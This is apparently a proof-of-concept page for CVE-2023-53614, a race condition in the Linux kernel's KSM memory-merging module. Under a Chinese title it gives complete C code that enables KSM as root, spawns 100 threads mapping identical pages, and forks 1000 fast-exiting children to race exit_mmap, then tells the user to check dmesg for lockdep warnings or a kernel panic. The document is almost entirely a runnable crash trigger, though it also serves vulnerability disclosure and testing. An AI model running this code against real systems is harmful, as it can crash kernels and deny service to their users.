CVE-2023-53614 Linux内核KSM模块VMA迭代与mm_struct销毁竞争条件漏洞

// PoC for CVE-2023-53614 - Linux Kernel KSM Race Condition // This PoC demonstrates the race condition between VMA iteration and mm_struct teardown // Note: Requires root or CAP_SYS_ADMIN to enable KSM #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <sys/mman.h> #include <sys/wait.h> #include <fcntl.h> #include <pthread.h> #include <signal.h> #define NUM_THREADS 100 #define NUM_ITERATIONS 1000 // Function to enable KSM (requires root) int enable_ksm() { int fd = open("/sys/kernel/mm/ksm/run", O_WRONLY); if (fd < 0) { perror("Failed to open KSM control (need root)"); return -1; } if (write(fd, "1", 1) != 1) { perror("Failed to enable KSM"); close(fd); return -1; } close(fd); return 0; } // Worker thread that allocates memory and triggers KSM scanning void* ksm_worker(void* arg) { // Allocate pages that KSM will try to merge size_t size = 4096 * 100; // 100 pages void* mem = mmap(NULL, size, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); if (mem == MAP_FAILED) { return NULL; } // Fill with identical content to encourage KSM merging memset(mem, 'A', size); // Keep the mapping alive briefly to allow KSM scanning usleep(10000); munmap(mem, size); return NULL; } // Rapid process creation/exit to trigger exit_mmap race void trigger_exit_race() { for (int i = 0; i < NUM_ITERATIONS; i++) { pid_t pid = fork(); if (pid == 0) { // Child: allocate memory and exit quickly void* mem = mmap(NULL, 4096 * 50, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); if (mem != MAP_FAILED) { memset(mem, 0x42, 4096 * 50); // Exit immediately to trigger exit_mmap race _exit(0); } _exit(0); } else if (pid > 0) { int status; waitpid(pid, &status, 0); } } } int main() { printf("CVE-2023-53614 PoC - KSM Race Condition\n"); if (enable_ksm() != 0) { printf("Run as root to enable KSM\n"); return 1; } printf("KSM enabled. Starting race condition trigger...\n"); // Create threads to trigger KSM scanning on memory regions pthread_t threads[NUM_THREADS]; for (int i = 0; i < NUM_THREADS; i++) { pthread_create(&threads[i], NULL, ksm_worker, NULL); } // Concurrently trigger rapid process exits to race with VMA iteration trigger_exit_race(); // Join threads for (int i = 0; i < NUM_THREADS; i++) { pthread_join(threads[i], NULL); } printf("Race condition trigger completed.\n"); printf("Check dmesg for lockdep warnings or kernel panic.\n"); return 0; }